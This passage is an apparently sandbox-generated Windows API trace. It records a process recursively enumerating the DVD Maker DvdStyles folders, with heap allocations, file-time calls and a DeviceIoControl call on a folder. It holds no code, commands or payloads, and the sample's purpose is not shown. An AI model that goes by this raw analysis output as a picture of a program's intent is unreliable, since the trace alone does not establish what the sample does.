0xfb8378 [0065.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4b00 [0065.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfba1c8 [0065.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="")) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0065.979] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0065.980] GetLastError () returned 0x12 [0065.980] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0065.980] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0065.980] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0065.980] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.005] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0066.005] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0066.006] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfbd510, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfbd510, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0066.006] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbd510) returned 1 [0066.006] NtClose (Handle=0x198) returned 0x0 [0066.006] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.006] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0066.037] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.043] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0066.043] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.044] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.047] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.049] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.050] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.052] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0066.053] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.054] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbce68 [0066.057] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbb038 [0066.058] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb80) returned 0xfbd510 [0066.059] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0066.060] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0066.073] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.075] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.076] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.078] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.079] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.081] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbce88 [0066.081] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbb140 [0066.083] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.084] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.085] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.086] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.086] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.088] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.089] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbcea8 [0066.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbb248 [0066.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.094] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0066.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) 